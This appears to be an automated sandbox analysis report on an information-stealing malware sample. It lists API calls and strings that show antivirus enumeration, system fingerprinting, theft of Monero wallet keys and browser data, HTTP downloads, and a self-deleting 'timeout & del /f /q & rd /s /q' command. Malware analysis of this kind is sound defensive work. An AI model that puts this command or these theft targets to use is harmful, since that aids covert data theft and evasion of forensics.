root\SecurityCenter2, xrefs: 004119F0
Unknown, xrefs: 00411A99
Select * From AntiVirusProduct, xrefs: 00411A23
Unknown, xrefs: 00411AA0
WQL, xrefs: 00411A28

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: InitializeVariant$AllocBlanketCharClearCreateH_prolog3_catchInitInstanceLocalProxySecuritylstrcpy
String ID: Select * From AntiVirusProduct$Unknown$Unknown$Unknown$WQL$displayName$root\SecurityCenter2
API String ID: 4288110179-315474579
Opcode ID: fdd4f7f867a511bab038fd48f2efc8a237d63492f44167babbe96817ce442a94
Instruction ID: a6e9aa9d7fa8367f7b23d862a237faa2d960bfd31173c526db01d8a47229c81c
Opcode Fuzzy Hash: fdd4f7f867a511bab038fd48f2efc8a237d63492f44167babbe96817ce442a94
Instruction Fuzzy Hash: 5E314F70A04245BBCB20DBD1DC49EEFBF7CEFC9B10F20465AF611A61A0C6B85941CB68

Function 00401284 Relevance: 24.1, APIs: 16, Instructions: 120stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004012A7
_memset.LIBCMT ref: 004012B6
lstrcatA.KERNEL32(?,0043AA98), ref: 004012D0
lstrcatA.KERNEL32(?,0043AA9C), ref: 004012DE
lstrcatA.KERNEL32(?,0043AAA0), ref: 004012EC
lstrcatA.KERNEL32(?,0043AAA4), ref: 004012FA
lstrcatA.KERNEL32(?,0043AAA8), ref: 00401308
lstrcatA.KERNEL32(?,0043AAAC), ref: 00401316
lstrcatA.KERNEL32(?,0043AAB0), ref: 00401324
lstrcatA.KERNEL32(?,0043AAB4), ref: 00401332
lstrcatA.KERNEL32(?,0043AAB8), ref: 00401340
lstrcatA.KERNEL32(?,0043AABC), ref: 0040134E
lstrcatA.KERNEL32(?,0043AAC0), ref: 0040135C
lstrcatA.KERNEL32(?,0043AAC4), ref: 0040136A
lstrcatA.KERNEL32(?,0043AAC8), ref: 00401378

Part of subcall function 00410C85: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00401385), ref: 00410C91
Part of subcall function 00410C85: HeapAlloc.KERNEL32(00000000,?,?,?,00401385), ref: 00410C98
Part of subcall function 00410C85: GetComputerNameA.KERNEL32(00000000,00401385), ref: 00410CAC

ExitProcess.KERNEL32 ref: 004013E3

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$HeapProcess_memset$AllocComputerExitName
String ID:
API String ID: 1553874529-0
Opcode ID: 075dceee351f8c7fd68273280057ff0b7848ef721524a1fcee1913029c64dffb
Instruction ID: 329f1fd96fdfcb16c2f410f14406277e677f3780dfb4b417305efb7e4a91778f
Opcode Fuzzy Hash: 075dceee351f8c7fd68273280057ff0b7848ef721524a1fcee1913029c64dffb
Instruction Fuzzy Hash: D14198B2D4422C56DB20EBB19C59FDB7BAC9F18310F5405A3E8D8E3181D6BC9A84CB58

Function 00411203 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 155registrystringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

RegOpenKeyExA.KERNEL32(?,00000000,00020019,?,0043670F,00000000,?,?), ref: 00411273
RegEnumKeyExA.KERNEL32(?,?,?,?,00000000,00000000,00000000,00000000), ref: 004112B0
wsprintfA.USER32 ref: 004112DD
RegOpenKeyExA.KERNEL32(?,?,00000000,00020019,?), ref: 004112FC
RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?), ref: 00411332
lstrlenA.KERNEL32(?), ref: 00411347

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?,?,00436E8C), ref: 004113DC
RegCloseKey.ADVAPI32(?), ref: 00411446
RegCloseKey.ADVAPI32(?), ref: 00411466
RegCloseKey.ADVAPI32(?), ref: 00411472

Strings

%s\%s, xrefs: 004112D7
?, xrefs: 00411263
- , xrefs: 004113E6

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Closelstrcpy$OpenQueryValuelstrlen$Enumlstrcatwsprintf
String ID: - $%s\%s$?
API String ID: 2394436309-3278919252
Opcode ID: dad845fa4b7f0cfd4eba4eb3ec9f24b5b39aaca9e77695f308e1d4d554ea3392
Instruction ID: 71e93d291eb08405029e4405a094c382c8089f583a4298610e2cb025ce7c2c33
Opcode Fuzzy Hash: dad845fa4b7f0cfd4eba4eb3ec9f24b5b39aaca9e77695f308e1d4d554ea3392
Instruction Fuzzy Hash: 5F61F7B590022C9BEF21DB15DD84EDAB7B9AB44708F1042E6A608A2121DF75AFC9CF54

Function 004183BB Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 120COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004183E0
_memset.LIBCMT ref: 004183EF
GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,?,?,?,?,?), ref: 00418404

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

ShellExecuteEx.SHELL32(?), ref: 004185A0
_memset.LIBCMT ref: 004185AF
_memset.LIBCMT ref: 004185C1
ExitProcess.KERNEL32 ref: 004185D1

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Strings

/c timeout /t 10 & rd /s /q "C:\ProgramData\, xrefs: 004184DA
" & rd /s /q "C:\ProgramData\, xrefs: 0041847D
/c timeout /t 10 & del /f /q ", xrefs: 0041842F
" & exit, xrefs: 004184D3
" & exit, xrefs: 00418524

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: _memsetlstrcpy$lstrcat$ExecuteExitFileModuleNameProcessShelllstrlen
String ID: " & exit$" & exit$" & rd /s /q "C:\ProgramData\$/c timeout /t 10 & del /f /q "$/c timeout /t 10 & rd /s /q "C:\ProgramData\
API String ID: 2823247455-1079830800
Opcode ID: 4de5a22190913a124abe78f719765faa1ab2a10443f5725ec9e20d00ce2b7339
Instruction ID: 17f46319f1d81ae95485b78933ee8bbb99b04375982c61dc01e5f9a2b2c8caaf
Opcode Fuzzy Hash: 4de5a22190913a124abe78f719765faa1ab2a10443f5725ec9e20d00ce2b7339
Instruction Fuzzy Hash: 7E51ACB1E4022A9BCB21EF15DD41ADDB3BDAB44708F4110EAA718B3151DA746FC68E58

Function 004109A2 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 110memorystringCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104,?,?,00000000), ref: 004109D5
GetVolumeInformationA.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00410A15
GetProcessHeap.KERNEL32(00000000,00000104,?,?,00000000), ref: 00410A6A
HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 00410A71
wsprintfA.USER32 ref: 00410AA7
lstrcatA.KERNEL32(00000000,00436E3C), ref: 00410AB6

Part of subcall function 00411684: GetCurrentHwProfileA.ADVAPI32(?), ref: 0041169F
Part of subcall function 00411684: _memset.LIBCMT ref: 004116CE
Part of subcall function 00411684: lstrcatA.KERNEL32(?,00000000,?,?,?,?,?), ref: 004116F6
Part of subcall function 00411684: lstrcatA.KERNEL32(?,00436ECC,?,?,?,?,?), ref: 00411713

lstrlenA.KERNEL32(?), ref: 00410ACD

Part of subcall function 004123D5: malloc.MSVCRT ref: 004123DA
Part of subcall function 004123D5: strncpy.MSVCRT ref: 004123EB

lstrcatA.KERNEL32(00000000,00000000), ref: 00410AF0

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Strings

jxA, xrefs: 00410B21
QuBi, xrefs: 00410A27
:\, xrefs: 00410A06
C, xrefs: 004109DF

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$AllocCurrentDirectoryInformationProcessProfileVolumeWindows_memsetlstrcpylstrlenmallocstrncpywsprintf
String ID: :\$C$QuBi$jxA
API String ID: 1856320939-3937734583
Opcode ID: 13e1d33eac386514867e4e3ec7983ded626eb068a244131e6e220238ada2be5a
Instruction ID: 0e3267de1265d81d1a62226ef28a80151d36d88a62da14f425e30a61553cab10
Opcode Fuzzy Hash: 13e1d33eac386514867e4e3ec7983ded626eb068a244131e6e220238ada2be5a
Instruction Fuzzy Hash: 5041AFB1A0422C9BCB249F749D85ADEBABDEF19304F0000EAF109E3121E6758FD58F54

Function 004067ED Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 110networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,0041776B), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00406836
StrCmpCA.SHLWAPI(?), ref: 00406856
InternetOpenUrlA.WININET(?,?,00000000,00000000,-00800100,00000000), ref: 00406877
CreateFileA.KERNEL32(?,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00406892
WriteFile.KERNEL32(?,?,?,?,00000000), ref: 004068C8
InternetReadFile.WININET(00000000,?,00000400,?), ref: 004068F8
CloseHandle.KERNEL32(?), ref: 00406923
InternetCloseHandle.WININET(00000000), ref: 0040692A
InternetCloseHandle.WININET(?), ref: 00406936

Strings

<+A, xrefs: 00406954

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID: <+A
API String ID: 2507841554-2778417545
Opcode ID: 8b43ac5e0549680695b2bb482840af3e0426e72eed708e24d7f76585e8e409ac
Instruction ID: 3012875da3fdfb9272a235e373719c06f2bb6316beb2d8f09f7bd5886403af84
Opcode Fuzzy Hash: 8b43ac5e0549680695b2bb482840af3e0426e72eed708e24d7f76585e8e409ac
Instruction Fuzzy Hash: ED411CB1900128ABDF20DB21DD49BDA7BB9EB04315F1040B6BB09B21A1D6759E958FA8

Function 004168C6 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 79stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,0041776B), ref: 00410538

Part of subcall function 00406963: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004069C5
Part of subcall function 00406963: StrCmpCA.SHLWAPI(?), ref: 004069DF
Part of subcall function 00406963: InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406A0E
Part of subcall function 00406963: HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00406A4D
Part of subcall function 00406963: InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406A7D
Part of subcall function 00406963: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406A88
Part of subcall function 00406963: HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 00406AAC

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

StrCmpCA.SHLWAPI(?,ERROR), ref: 0041691A
lstrlenA.KERNEL32(?), ref: 00416925

Part of subcall function 00411E1F: LocalAlloc.KERNEL32(00000040,00000001,?,?,?,00416931,?), ref: 00411E37

StrStrA.SHLWAPI(00000000,?), ref: 0041693A
lstrlenA.KERNEL32(?), ref: 00416949
lstrlenA.KERNEL32(00000000), ref: 00416962

Strings

ERROR, xrefs: 00416977
ERROR, xrefs: 00416914
ERROR, xrefs: 0041696D
ERROR, xrefs: 0041697E
ERROR, xrefs: 00416985

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: HttpInternetlstrcpylstrlen$OpenRequest$AllocConnectInfoLocalOptionQuerySend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 4174444224-1526165396
Opcode ID: e67c84f429a5728110d82d9ea6f0ed399c8d1cdab0b75bf8f5dbb03d2f802303
Instruction ID: f999f3c62c0b23b7ff363c4994354db6f8ba44fc0c3398813b2d55053c878ef3
Opcode Fuzzy Hash: e67c84f429a5728110d82d9ea6f0ed399c8d1cdab0b75bf8f5dbb03d2f802303
Instruction Fuzzy Hash: 6021E571910204ABCB10BB75DC469DD77B8AF04308F11512BFC05E3191DB7DD9858F99

Function 0040EABC Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 290COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(0094C481), ref: 0040EAF9
StrCmpCA.SHLWAPI(0094C481), ref: 0040EB56
StrCmpCA.SHLWAPI(0094C481,firefox), ref: 0040EE1D
StrCmpCA.SHLWAPI(0094C481), ref: 0040EC33

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,0041776B), ref: 00410538

StrCmpCA.SHLWAPI(0094C481), ref: 0040ECE3
StrCmpCA.SHLWAPI(0094C481), ref: 0040ED40

Strings

firefox, xrefs: 0040EE17
Stable\, xrefs: 0040EB71
Stable\, xrefs: 0040ED5B

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: Stable\$ Stable\$firefox
API String ID: 3722407311-2697854757
Opcode ID: 10d604243291b2d129534730f69d78516097bcc108e7a10a762a72f92156b923
Instruction ID: 5ee9920858f87ab95f25d72870b6309d75f224e844084726c2f6447a77145a42
Opcode Fuzzy Hash: 10d604243291b2d129534730f69d78516097bcc108e7a10a762a72f92156b923
Instruction Fuzzy Hash: 5FB19E72D00109AFDF20FFA9D947B8D7772AF40318F550126F904B7291DB78AA688BD9

Function 00401AB8 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 129stringfileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00401ADC

Part of subcall function 00401A51: GetProcessHeap.KERNEL32(00000000,00000104,?), ref: 00401A65
Part of subcall function 00401A51: HeapAlloc.KERNEL32(00000000), ref: 00401A6C
Part of subcall function 00401A51: RegOpenKeyExA.KERNEL32(80000001,SOFTWARE\monero-project\monero-core,00000000,00020119,00401AE9), ref: 00401A89
Part of subcall function 00401A51: RegQueryValueExA.ADVAPI32(00401AE9,wallet_path,00000000,00000000,00000000,000000FF), ref: 00401AA4
Part of subcall function 00401A51: RegCloseKey.ADVAPI32(00401AE9), ref: 00401AAD

lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 00401AF1
lstrlenA.KERNEL32(?), ref: 00401AFE
lstrcatA.KERNEL32(?,.keys), ref: 00401B19

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

CopyFileA.KERNEL32(?,?,00000001), ref: 00401C2A

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,0041776B), ref: 00410538

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

DeleteFileA.KERNEL32(?), ref: 00401C9D

Part of subcall function 00416FE1: CreateThread.KERNEL32(00000000,00000000,00416F10,?,00000000,00000000), ref: 00417080
Part of subcall function 00416FE1: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00417088

Strings

.keys, xrefs: 00401B0D
\Monero\wallet.keys, xrefs: 00401B2F

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$AllocCloseCreateHeaplstrlen$CopyDeleteHandleLocalObjectOpenProcessQueryReadSingleSizeSystemThreadTimeValueWait_memset
String ID: .keys$\Monero\wallet.keys
API String ID: 615783205-3586502688
Opcode ID: 1832ed20e601200fa5063ad7618282aa755cf9e73ff62fe5ddcc426354561412
Instruction ID: 088a9e38a3872e3d59dfe4f786e5ab428d4476d4e58593b9f87c2f805fbd2200
Opcode Fuzzy Hash: 1832ed20e601200fa5063ad7618282aa755cf9e73ff62fe5ddcc426354561412
Instruction Fuzzy Hash: 8C512DB1E9012D9BCF21EB25DD466DD7379AF04308F5050BAB60873191DA78AFC98F98

Function 0040FB2D Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 159COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00064000,?,?,?), ref: 0040FB52
OpenProcess.KERNEL32(001FFFFF,00000000,00000000), ref: 0040FB7E
_memset.LIBCMT ref: 0040FBC1
??_V@YAXPAX@Z.MSVCRT(?), ref: 0040FD17

Part of subcall function 0040F030: _memmove.LIBCMT ref: 0040F04A

Strings

N0ZWFt, xrefs: 0040FC7E

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
